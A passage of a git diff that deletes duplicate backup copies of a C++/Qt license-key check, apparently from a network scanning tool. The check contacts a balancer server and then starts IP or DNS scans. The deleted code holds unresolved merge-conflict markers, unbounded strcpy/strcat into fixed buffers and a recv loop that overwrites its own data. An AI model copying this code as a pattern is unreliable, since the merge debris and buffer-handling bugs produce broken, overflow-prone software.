stt->doEmitionGreenFoundData("[Key check] -OK. Key is valid!"); - -======= -#pragma region QTGUI_Area - stt->doEmitionGreenFoundData("[Key check] -OK. Key is valid!"); -#pragma endregion ->>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa - CSSOCKET(sock); - - if(emitIfOK == 0) stt->doEmitionStartScanIP(); - else if(emitIfOK == 1) stt->doEmitionStartScanDNS(); - else if(emitIfOK == 2) stt->doEmitionStartScanImport(); - return 1; - } - else if(strstr(msg, "400 Bad Request") != NULL) - { -<<<<<<< HEAD - - QString errorDef = GetNSErrorDefinition(msg, "notify"); - if(errorDef == "Invalid access key") stt->doEmitionYellowFoundData("[NS-Track] [Key is unauthorized] A valid key is required."); - else stt->doEmitionYellowFoundData("[NS-Track] -FAIL! [400 Bad Request : " + GetNSErrorDefinition(msg, "notify") + "]"); - -======= -#pragma region QTGUI_Area - QString errorDef = GetNSErrorDefinition(msg, "notify"); - if(errorDef == "Invalid access key") stt->doEmitionYellowFoundData("[NS-Track] [Key is unauthorized] A valid key is required."); - else stt->doEmitionYellowFoundData("[NS-Track] -FAIL! [400 Bad Request : " + GetNSErrorDefinition(msg, "notify") + "]"); -#pragma endregion ->>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa - CSSOCKET(sock); - return -1; - } - else if(strstr(msg, "503 Bad Gateway") != NULL) - { - stt->doEmitionYellowFoundData("[NS-Track] 503 Backend not responding!"); - CSSOCKET(sock); - return -1; - } - else - { -<<<<<<< HEAD - -======= -#pragma region QTGUI_Area ->>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa - char header[64] = {0}; - getSubStrEx(msg, "http/1.1 ", "\r\n", header, 64); - stt->doEmitionYellowFoundData("[Key check] -FAIL! An error occured. (" + QString::number(WSAGetLastError()) + ") Header: " + QString::fromLocal8Bit(header) + ""); - if(gDebugMode) stt->doEmitionDebugFoundData(QString(msg)); -<<<<<<< HEAD - -======= -#pragma endregion ->>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa - CSSOCKET(sock); - return -1; - }; - - ZeroMemory(msg, sizeof(msg)); - CSSOCKET(sock); - } - else - { -<<<<<<< HEAD - -======= -#pragma region QTGUI_Area ->>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa - stt->doEmitionRedFoundData("[Key check] -Balancer replied with invalid string."); - if(gDebugMode) stt->doEmitionDebugFoundData(QString(msg)); - CSSOCKET(sock); - return -1; -<<<<<<< HEAD - -======= -#pragma endregion ->>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa - }; -}; - -void CheckKey_Th::run() -{ - KeyCheckerMain(); -}; diff --git a/CheckKey_Th.cpp.BACKUP.2593.cpp b/CheckKey_Th.cpp.BACKUP.2593.cpp deleted file mode 100644 index 64dccb8..0000000 --- a/CheckKey_Th.cpp.BACKUP.2593.cpp +++ /dev/null @@ -1,300 +0,0 @@ -#pragma once -#include "CheckKey_Th.h" -#include "CheckProxy_Th.h" -#include "STh.h" -#include "externData.h" -#include "externFunctions.h" - -void getSubStrEx(char *src, char *startStr, char *endStr, char *dest, int szDest) -{ - ZeroMemory(dest, szDest); - char *ptr1 = strstri(src, startStr); - if(ptr1 != NULL) - { - char *ptr2 = strstri(ptr1, endStr); - if(ptr2 != NULL) - { - int szStartStr = strlen(startStr); - int sz = ptr2 - ptr1 - szStartStr; - strncpy(dest, ptr1 + szStartStr, sz < szDest ? sz : szDest); - }; - }; -} -void getSubStr(char *src, char *startStr, char *endStr, char *dest, int szDest) -{ - ZeroMemory(dest, szDest); - char *ptr1 = strstri(src, startStr); - if(ptr1 != NULL) - { - char *ptr2 = strstri(ptr1, endStr); - if(ptr2 != NULL) - { - int sz = ptr2 - ptr1; - strncpy(dest, ptr1, sz < szDest ? sz : szDest); - }; - }; -} -int emitIfOK = -1; -int KeyCheckerMain() -{ - int kLen = strlen(trcPersKey); - if(kLen == 0) - { - stt->doEmitionRedFoundData("[Key check] Key field is empty."); - return -1; - } - else if(kLen < 32) - { - stt->doEmitionRedFoundData("[Key check] Key length is not valid."); - return -1; - }; - char msg[1024] = {0}; - char ndbServer[64] = {0}; - char ndbScript[64] = {0}; - - sockaddr_in sockAddr; - sockAddr.sin_family = AF_INET; - sockAddr.sin_port = htons(atoi(trcSrvPortLine)); - - strcpy(msg, "GET "); - strcat(msg, "/"); - strcat(msg, trcScr); - strcat(msg, " HTTP/1.0\r\nHost: "); - strcat(msg, trcSrv); - strcat(msg, "\r\nX-Nescav3: True"); - strcat(msg, "\r\nConnection: close"); - strcat(msg, "\r\n\r\n"); - - HOSTENT *host; - -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - if(inet_addr(trcSrv) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(trcSrv); - else if(host=gethostbyname (trcSrv)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; -#else - if(inet_addr(trcSrv) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(trcSrv); - else if(host=gethostbyname (trcSrv)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; -#endif - SOCKET sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); - - stt->doEmitionYellowFoundData("[Key check] Requesting server ip..."); - int test = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); - if(test == -1) - { - stt->doEmitionRedFoundData("[Key check] -connect() returned. Cannot connect to balancer! " + QString::number(WSAGetLastError()) + "."); - CSSOCKET(sock); - return -1; - }; - - test = send(sock, msg, strlen(msg), 0); - - if(test == -1) - { - stt->doEmitionRedFoundData("[Key check] -send() returned. Cannot send to balancer! " + QString::number(WSAGetLastError()) + "."); - CSSOCKET(sock); - - return -1; - }; - - ZeroMemory(msg, sizeof(msg)); - int ror = sizeof(msg); - - test = recv(sock, msg, sizeof(msg), 0); - char buff[512] = {0}; - while((test = recv(sock, msg, sizeof(msg), 0)) != 0) - { - strcat(msg, buff); - }; - - if(test == -1) - { - stt->doEmitionRedFoundData("[Key check] -recv() returned. Cannot recv from balancer! " + QString::number(WSAGetLastError()) + "."); - CSSOCKET(sock); - - return -1; - }; - - char *t1; - char *t2; - if(strstr(msg, "http://") != NULL) - { - t1 = strstr(msg, "http://"); - if(strstr((char*)(t1 + strlen("http://")), "/") != NULL) - { - t2 = strstr((char*)(t1 + strlen("http://")), "/"); - int ln = t2 - t1 - strlen("http://"); - if(ln > 64) - { - stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); - CSSOCKET(sock); - - return -1; - } - else strncpy(ndbServer, (char*)(t1 + strlen("http://")), ln); - - - if(strlen(t2) > 64) - { - stt->doEmitionYellowFoundData("[Key check] -Fragmentation detected!"); - if(strstr(t2, "\r\n") != NULL) - { - char *t3 = strstr(t2, "\r\n"); - int y = (int)(t3 - t2); - - if(y > 64) - { - stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); - CSSOCKET(sock); - - return -1; - } - else - { - strncpy(ndbScript, t2, y); - }; - } - else - { - stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); - CSSOCKET(sock); - - return -1; - }; - } else strcpy(ndbScript, t2); - } - else - { - stt->doEmitionRedFoundData("[Key check] -Cannot receive script value!"); - CSSOCKET(sock); - - return -1; - }; - - ZeroMemory(msg, sizeof(msg)); - - stt->doEmitionGreenFoundData("[Key check] -OK. -Server string aquired! Checking key..."); - CSSOCKET(sock); - - sockAddr.sin_family = AF_INET; - sockAddr.sin_port = htons(atoi(trcSrvPortLine)); - strcpy(msg, "GET "); - strcat(msg, "/api/checkaccount?key="); - strncat(msg, trcPersKey, 32); - strcat(msg, " HTTP/1.0\r\nHost: "); - strcat(msg, ndbServer); - strcat(msg, "\r\nConnection: close"); - strcat(msg, "\r\n\r\n"); - -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - if(inet_addr(ndbServer) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(ndbServer); - else if(host=gethostbyname (ndbServer)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; -#else - if(inet_addr(ndbServer) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(ndbServer); - else if(host=gethostbyname (ndbServer)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; -#endif - sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); - - int c = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); - if(c == SOCKET_ERROR) - { - stt->doEmitionRedFoundData("[Key check] -Connection timeout."); - CSSOCKET(sock); - return -1; - }; - c = send(sock, msg, strlen(msg), 0); - if(c == SOCKET_ERROR) - { - stt->doEmitionRedFoundData("[Key check] -Send error."); - CSSOCKET(sock); - return -1; - }; - ZeroMemory(msg, sizeof(msg)); - test = recv(sock, msg, 512, 0); - - if(strstr(msg, "202 Accepted") != NULL) - { -<<<<<<< HEAD - - stt->doEmitionGreenFoundData("[Key check] -OK. Key is valid!"); - -======= -#pragma region QTGUI_Area - stt->doEmitionGreenFoundData("[Key check] -OK. Key is valid!"); -#pragma endregion ->>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa - CSSOCKET(sock); - - if(emitIfOK == 0) stt->doEmitionStartScanIP(); - else if(emitIfOK == 1) stt->doEmitionStartScanDNS(); - else if(emitIfOK == 2) stt->doEmitionStartScanImport(); - return 1; - } - else if(strstr(msg, "400 Bad Request") != NULL) - { -<<<<<<< HEAD - - QString errorDef = GetNSErrorDefinition(msg, "notify"); - if(errorDef == "Invalid access key") stt->doEmitionYellowFoundData("[NS-Track] [Key is unauthorized] A valid key is required."); - else stt->doEmitionYellowFoundData("[NS-Track] -FAIL! [400 Bad Request : " + GetNSErrorDefinition(msg, "notify") + "]"); - -======= -#pragma region QTGUI_Area - QString errorDef = GetNSErrorDefinition(msg, "notify"); - if(errorDef == "Invalid access key") stt->doEmitionYellowFoundData("[NS-Track] [Key is unauthorized] A valid key is required."); - else stt->doEmitionYellowFoundData("[NS-Track] -FAIL! [400 Bad Request : " + GetNSErrorDefinition(msg, "notify") + "]"); -#pragma endregion ->>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa - CSSOCKET(sock); - return -1; - } - else if(strstr(msg, "503 Bad Gateway") != NULL) - { - stt->doEmitionYellowFoundData("[NS-Track] 503 Backend not responding!"); - CSSOCKET(sock); - return -1; - } - else - { -<<<<<<< HEAD - -======= -#pragma region QTGUI_Area ->>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa - char header[64] = {0}; - getSubStrEx(msg, "http/1.1 ", "\r\n", header, 64); - stt->doEmitionYellowFoundData("[Key check] -FAIL! An error occured. (" + QString::number(WSAGetLastError()) + ") Header: " + QString::fromLocal8Bit(header) + ""); - if(gDebugMode) stt->doEmitionDebugFoundData(QString(msg)); -<<<<<<< HEAD - -======= -#pragma endregion ->>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa - CSSOCKET(sock); - return -1; - }; - - ZeroMemory(msg, sizeof(msg)); - CSSOCKET(sock); - } - else - { -<<<<<<< HEAD - -======= -#pragma region QTGUI_Area ->>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa - stt->doEmitionRedFoundData("[Key check] -Balancer replied with invalid string."); - if(gDebugMode) stt->doEmitionDebugFoundData(QString(msg)); - CSSOCKET(sock); - return -1; -<<<<<<< HEAD - -======= -#pragma endregion ->>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa - }; -}; - -void CheckKey_Th::run() -{ - KeyCheckerMain(); -}; diff --git a/CheckKey_Th.cpp.BACKUP.2715.cpp b/CheckKey_Th.cpp.BACKUP.2715.cpp deleted file mode 100644 index 64dccb8..0000000 --- a/CheckKey_Th.cpp.BACKUP.2715.cpp +++ /dev/null @@ -1,300 +0,0 @@ -#pragma once -#include "CheckKey_Th.h" -#include "CheckProxy_Th.h" -#include "STh.h" -#include "externData.h" -#include "externFunctions.h" - -void getSubStrEx(char *src, char *startStr, char *endStr, char *dest, int szDest) -{ - ZeroMemory(dest, szDest); - char *ptr1 = strstri(src, startStr); - if(ptr1 != NULL) - { - char *ptr2 = strstri(ptr1, endStr); - if(ptr2 != NULL) - { - int szStartStr = strlen(startStr); - int sz = ptr2 - ptr1 - szStartStr; - strncpy(dest, ptr1 + szStartStr, sz < szDest ? sz : szDest); - }; - }; -} -void getSubStr(char *src, char *startStr, char *endStr, char *dest, int szDest) -{ - ZeroMemory(dest, szDest); - char *ptr1 = strstri(src, startStr); - if(ptr1 != NULL) - { - char *ptr2 = strstri(ptr1, endStr); - if(ptr2 != NULL) - { - int sz = ptr2 - ptr1; - strncpy(dest, ptr1, sz < szDest ? sz : szDest); - }; - }; -} -int emitIfOK = -1; -int KeyCheckerMain() -{ - int kLen = strlen(trcPersKey); - if(kLen == 0) - { - stt->doEmitionRedFoundData("[Key check] Key field is empty."); - return -1; - } - else if(kLen < 32) - { - stt->doEmitionRedFoundData("[Key check] Key length is not valid."); - return -1; - }; - char msg[1024] = {0}; - char ndbServer[64] = {0}; - char ndbScript[64] = {0}; - - sockaddr_in sockAddr; - sockAddr.sin_family = AF_INET; - sockAddr.sin_port = htons(atoi(trcSrvPortLine)); - - strcpy(msg, "GET "); - strcat(msg, "/"); - strcat(msg, trcScr); - strcat(msg, " HTTP/1.0\r\nHost: "); - strcat(msg, trcSrv); - strcat(msg, "\r\nX-Nescav3: True"); - strcat(msg, "\r\nConnection: close"); - strcat(msg, "\r\n\r\n"); - - HOSTENT *host; - -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - if(inet_addr(trcSrv) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(trcSrv); - else if(host=gethostbyname (trcSrv)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; -#else - if(inet_addr(trcSrv) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(trcSrv); - else if(host=gethostbyname (trcSrv)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; -#endif - SOCKET sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); - - stt->doEmitionYellowFoundData("[Key check] Requesting server ip..."); - int test = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); - if(test == -1) - { - stt->doEmitionRedFoundData("[Key check] -connect() returned. Cannot connect to balancer! " + QString::number(WSAGetLastError()) + "."); - CSSOCKET(sock); - return -1; - }; - - test = send(sock, msg, strlen(msg), 0); - - if(test == -1) - { - stt->doEmitionRedFoundData("[Key check] -send() returned. Cannot send to balancer! " + QString::number(WSAGetLastError()) + "."); - CSSOCKET(sock); - - return -1; - }; - - ZeroMemory(msg, sizeof(msg)); - int ror = sizeof(msg); - - test = recv(sock, msg, sizeof(msg), 0); - char buff[512] = {0}; - while((test = recv(sock, msg, sizeof(msg), 0)) != 0) - { - strcat(msg, buff); - }; - - if(test == -1) - { - stt->doEmitionRedFoundData("[Key check] -recv() returned. Cannot recv from balancer! " + QString::number(WSAGetLastError()) + "."); - CSSOCKET(sock); - - return -1; - }; - - char *t1; - char *t2; - if(strstr(msg, "http://") != NULL) - { - t1 = strstr(msg, "http://"); - if(strstr((char*)(t1 + strlen("http://")), "/") != NULL) - { - t2 = strstr((char*)(t1 + strlen("http://")), "/"); - int ln = t2 - t1 - strlen("http://"); - if(ln > 64) - { - stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); - CSSOCKET(sock); - - return -1; - } - else strncpy(ndbServer, (char*)(t1 + strlen("http://")), ln); - - - if(strlen(t2) > 64) - { - stt->doEmitionYellowFoundData("[Key check] -Fragmentation detected!"); - if(strstr(t2, "\r\n") != NULL) - { - char *t3 = strstr(t2, "\r\n"); - int y = (int)(t3 - t2); - - if(y > 64) - { - stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); - CSSOCKET(sock); - - return -1; - } - else - { - strncpy(ndbScript, t2, y); - }; - } - else - { - stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); - CSSOCKET(sock); - - return -1; - }; - } else strcpy(ndbScript, t2); - } - else - { - stt->doEmitionRedFoundData("[Key check] -Cannot receive script value!"); - CSSOCKET(sock); - - return -1; - }; - - ZeroMemory(msg, sizeof(msg)); - - stt->doEmitionGreenFoundData("[Key check] -OK. -Server string aquired! Checking key..."); - CSSOCKET(sock); - - sockAddr.sin_family = AF_INET; - sockAddr.sin_port = htons(atoi(trcSrvPortLine)); - strcpy(msg, "GET "); - strcat(msg, "/api/checkaccount?key="); - strncat(msg, trcPersKey, 32); - strcat(msg, " HTTP/1.0\r\nHost: "); - strcat(msg, ndbServer); - strcat(msg, "\r\nConnection: close"); - strcat(msg, "\r\n\r\n"); - -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - if(inet_addr(ndbServer) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(ndbServer); - else if(host=gethostbyname (ndbServer)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; -#else - if(inet_addr(ndbServer) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(ndbServer); - else if(host=gethostbyname (ndbServer)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; -#endif - sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); - - int c = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); - if(c == SOCKET_ERROR) - { - stt->doEmitionRedFoundData("[Key check] -Connection timeout."); - CSSOCKET(sock); - return -1; - }; - c = send(sock, msg, strlen(msg), 0); - if(c == SOCKET_ERROR) - { - stt->doEmitionRedFoundData("[Key check] -Send error."); - CSSOCKET(sock); - return -1; - }; - ZeroMemory(msg, sizeof(msg)); - test = recv(sock, msg, 512, 0); - - if(strstr(msg, "202 Accepted") != NULL) - { -<<<<<<< HEAD - - stt->doEmitionGreenFoundData("[Key check] -OK. Key is valid!"); - -======= -#pragma region QTGUI_Area - stt->doEmitionGreenFoundData("[Key check] -OK. Key is valid!"); -#pragma endregion ->>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa - CSSOCKET(sock); - - if(emitIfOK == 0) stt->doEmitionStartScanIP(); - else if(emitIfOK == 1) stt->doEmitionStartScanDNS(); - else if(emitIfOK == 2) stt->doEmitionStartScanImport(); - return 1; - } - else if(strstr(msg, "400 Bad Request") != NULL) - { -<<<<<<< HEAD - - QString errorDef = GetNSErrorDefinition(msg, "notify"); - if(errorDef == "Invalid access key") stt->doEmitionYellowFoundData("[NS-Track] [Key is unauthorized] A valid key is required."); - else stt->doEmitionYellowFoundData("[NS-Track] -FAIL! [400 Bad Request : " + GetNSErrorDefinition(msg, "notify") + "]"); - -======= -#pragma region QTGUI_Area - QString errorDef = GetNSErrorDefinition(msg, "notify"); - if(errorDef == "Invalid access key") stt->doEmitionYellowFoundData("[NS-Track] [Key is unauthorized] A valid key is required."); - else stt->doEmitionYellowFoundData("[NS-Track] -FAIL! [400 Bad Request : " + GetNSErrorDefinition(msg, "notify") + "]"); -#pragma endregion ->>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa - CSSOCKET(sock); - return -1; - } - else if(strstr(msg, "503 Bad Gateway") != NULL) - { - stt->doEmitionYellowFoundData("[NS-Track] 503 Backend not responding!"); - CSSOCKET(sock); - return -1; - } - else - { -<<<<<<< HEAD - -======= -#pragma region QTGUI_Area ->>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa - char header[64] = {0}; - getSubStrEx(msg, "http/1.1 ", "\r\n", header, 64); - stt->doEmitionYellowFoundData("[Key check] -FAIL! An error occured. (" + QString::number(WSAGetLastError()) + ") Header: " + QString::fromLocal8Bit(header) + ""); - if(gDebugMode) stt->doEmitionDebugFoundData(QString(msg)); -<<<<<<< HEAD - -======= -#pragma endregion ->>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa - CSSOCKET(sock); - return -1; - }; - - ZeroMemory(msg, sizeof(msg)); - CSSOCKET(sock); - } - else - { -<<<<<<< HEAD - -======= -#pragma region QTGUI_Area ->>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa - stt->doEmitionRedFoundData("[Key check] -Balancer replied with invalid string."); - if(gDebugMode) stt->doEmitionDebugFoundData(QString(msg)); - CSSOCKET(sock); - return -1; -<<<<<<< HEAD - -======= -#pragma endregion ->>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa - }; -}; - -void CheckKey_Th::run() -{ - KeyCheckerMain(); -}; diff --git a/CheckKey_Th.cpp.BACKUP.2915.cpp b/CheckKey_Th.cpp.BACKUP.2915.cpp deleted file mode 100644 index 64dccb8..0000000 --- a/CheckKey_Th.cpp.BACKUP.2915.cpp +++ /dev/null @@ -1,300 +0,0 @@ -#pragma once -#include "CheckKey_Th.h" -#include "CheckProxy_Th.h" -#include "STh.h" -#include "externData.h" -#include "externFunctions.h" - -void getSubStrEx(char *src, char *startStr, char *endStr, char *dest, int szDest) -{ - ZeroMemory(dest, szDest); - char *ptr1 = strstri(src, startStr); - if(ptr1 != NULL) - { - char *ptr2 = strstri(ptr1, endStr); - if(ptr2 != NULL) - { - int szStartStr = strlen(startStr); - int sz = ptr2 - ptr1 - szStartStr; - strncpy(dest, ptr1 + szStartStr, sz < szDest ? sz : szDest); - }; - }; -} -void getSubStr(char *src, char *startStr, char *endStr, char *dest, int szDest) -{ - ZeroMemory(dest, szDest); - char *ptr1 = strstri(src, startStr); - if(ptr1 != NULL) - { - char *ptr2 = strstri(ptr1, endStr); - if(ptr2 != NULL) - { - int sz = ptr2 - ptr1; - strncpy(dest, ptr1, sz < szDest ? sz : szDest); - }; - }; -} -int emitIfOK = -1; -int KeyCheckerMain() -{ - int kLen = strlen(trcPersKey); - if(kLen == 0) - { - stt->doEmitionRedFoundData("[Key check] Key field is empty."); - return -1; - } - else if(kLen < 32) - { - stt->doEmitionRedFoundData("[Key check] Key length is not valid."); - return -1; - }; - char msg[1024] = {0}; - char ndbServer[64] = {0}; - char ndbScript[64] = {0}; - - sockaddr_in sockAddr; - sockAddr.sin_family = AF_INET; - sockAddr.sin_port = htons(atoi(trcSrvPortLine)); - - strcpy(msg, "GET "); - strcat(msg, "/"); - strcat(msg, trcScr); - strcat(msg, " HTTP/1.0\r\nHost: "); - strcat(msg, trcSrv); - strcat(msg, "\r\nX-Nescav3: True"); - strcat(msg, "\r\nConnection: close"); - strcat(msg, "\r\n\r\n"); - - HOSTENT *host; - -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - if(inet_addr(trcSrv) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(trcSrv); - else if(host=gethostbyname (trcSrv)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; -#else - if(inet_addr(trcSrv) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(trcSrv); - else if(host=gethostbyname (trcSrv)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; -#endif - SOCKET sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); - - stt->doEmitionYellowFoundData("[Key check] Requesting server ip..."); - int test = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); - if(test == -1) - { - stt->doEmitionRedFoundData("[Key check] -connect() returned. Cannot connect to balancer! " + QString::number(WSAGetLastError()) + "."); - CSSOCKET(sock); - return -1; - }; - - test = send(sock, msg, strlen(msg), 0); - - if(test == -1) - { - stt->doEmitionRedFoundData("[Key check] -send() returned. Cannot send to balancer! " + QString::number(WSAGetLastError()) + "."); - CSSOCKET(sock); - - return -1; - }; - - ZeroMemory(msg, sizeof(msg)); - int ror = sizeof(msg); - - test = recv(sock, msg, sizeof(msg), 0); - char buff[512] = {0}; - while((test = recv(sock, msg, sizeof(msg), 0)) != 0) - { - strcat(msg, buff); - }; - - if(test == -1) - { - stt->doEmitionRedFoundData("[Key check] -recv() returned. Cannot recv from balancer! " + QString::number(WSAGetLastError()) + "."); - CSSOCKET(sock); - - return -1; - }; - - char *t1; - char *t2; - if(strstr(msg, "http://") != NULL) - { - t1 = strstr(msg, "http://"); - if(strstr((char*)(t1 + strlen("http://")), "/") != NULL) - { - t2 = strstr((char*)(t1 + strlen("http://")), "/"); - int ln = t2 - t1 - strlen("http://"); - if(ln > 64) - { - stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); - CSSOCKET(sock); - - return -1; - } - else strncpy(ndbServer, (char*)(t1 + strlen("http://")), ln); - - - if(strlen(t2) > 64) - { - stt->doEmitionYellowFoundData("[Key check] -Fragmentation detected!"); - if(strstr(t2, "\r\n") != NULL) - { - char *t3 = strstr(t2, "\r\n"); - int y = (int)(t3 - t2); - - if(y > 64) - { - stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); - CSSOCKET(sock); - - return -1; - } - else - { - strncpy(ndbScript, t2, y); - }; - } - else - { - stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); - CSSOCKET(sock); - - return -1; - }; - } else strcpy(ndbScript, t2); - } - else - { - stt->doEmitionRedFoundData("[Key check] -Cannot receive script value!"); - CSSOCKET(sock); - - return -1; - }; - - ZeroMemory(msg, sizeof(msg)); - - stt->doEmitionGreenFoundData("[Key check] -OK. -Server string aquired! Checking key..."); - CSSOCKET(sock); - - sockAddr.sin_family = AF_INET; - sockAddr.sin_port = htons(atoi(trcSrvPortLine)); - strcpy(msg, "GET "); - strcat(msg, "/api/checkaccount?key="); - strncat(msg, trcPersKey, 32); - strcat(msg, " HTTP/1.0\r\nHost: "); - strcat(msg, ndbServer); - strcat(msg, "\r\nConnection: close"); - strcat(msg, "\r\n\r\n"); - -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - if(inet_addr(ndbServer) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(ndbServer); - else if(host=gethostbyname (ndbServer)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; -#else - if(inet_addr(ndbServer) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(ndbServer); - else if(host=gethostbyname (ndbServer)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; -#endif - sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); - - int c = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); - if(c == SOCKET_ERROR) - { - stt->doEmitionRedFoundData("[Key check] -Connection timeout."); - CSSOCKET(sock); - return -1; - }; - c = send(sock, msg, strlen(msg), 0); - if(c == SOCKET_ERROR) - { - stt->doEmitionRedFoundData("[Key check] -Send error."); - CSSOCKET(sock); - return -1; - }; - ZeroMemory(msg, sizeof(msg)); - test = recv(sock, msg, 512, 0); - - if(strstr(msg, "202 Accepted") != NULL) - { -<<<<<<< HEAD - - stt->doEmitionGreenFoundData("[Key check] -OK. Key is valid!"); - -======= -#pragma region QTGUI_Area - stt->doEmitionGreenFoundData("[Key check] -OK. Key is valid!"); -#pragma endregion ->>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa - CSSOCKET(sock); - - if(emitIfOK == 0) stt->doEmitionStartScanIP(); - else if(emitIfOK == 1) stt->doEmitionStartScanDNS(); - else if(emitIfOK == 2) stt->doEmitionStartScanImport(); - return 1; - } - else if(strstr(msg, "400 Bad Request") != NULL) - { -<<<<<<< HEAD - - QString errorDef = GetNSErrorDefinition(msg, "notify"); - if(errorDef == "Invalid access key") stt->doEmitionYellowFoundData("[NS-Track] [Key is unauthorized] A valid key is required."); - else stt->doEmitionYellowFoundData("[NS-Track] -FAIL! [400 Bad Request : " + GetNSErrorDefinition(msg, "notify") + "]"); - -======= -#pragma region QTGUI_Area - QString errorDef = GetNSErrorDefinition(msg, "notify"); - if(errorDef == "Invalid access key") stt->doEmitionYellowFoundData("[NS-Track] [Key is unauthorized] A valid key is required."); - else stt->doEmitionYellowFoundData("[NS-Track] -FAIL! [400 Bad Request : " + GetNSErrorDefinition(msg, "notify") + "]"); -#pragma endregion ->>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa - CSSOCKET(sock); - return -1; - } - else if(strstr(msg, "503 Bad Gateway") != NULL) - { - stt->doEmitionYellowFoundData("[NS-Track] 503 Backend not responding!"); - CSSOCKET(sock); - return -1; - } - else - { -<<<<<<< HEAD - -======= -#pragma region QTGUI_Area ->>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa - char header[64] = {0}; - getSubStrEx(msg, "http/1.1 ", "\r\n", header, 64); - stt->doEmitionYellowFoundData("[Key check] -FAIL! An error occured. (" + QString::number(WSAGetLastError()) + ") Header: " + QString::fromLocal8Bit(header) + ""); - if(gDebugMode) stt->doEmitionDebugFoundData(QString(msg)); -<<<<<<< HEAD - -======= -#pragma endregion ->>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa - CSSOCKET(sock); - return -1; - }; - - ZeroMemory(msg, sizeof(msg)); - CSSOCKET(sock); - } - else - { -<<<<<<< HEAD - -======= -#pragma region QTGUI_Area ->>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa - stt->doEmitionRedFoundData("[Key check] -Balancer replied with invalid string."); - if(gDebugMode) stt->doEmitionDebugFoundData(QString(msg)); - CSSOCKET(sock); - return -1; -<<<<<<< HEAD - -======= -#pragma endregion ->>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa - }; -}; - -void CheckKey_Th::run() -{ - 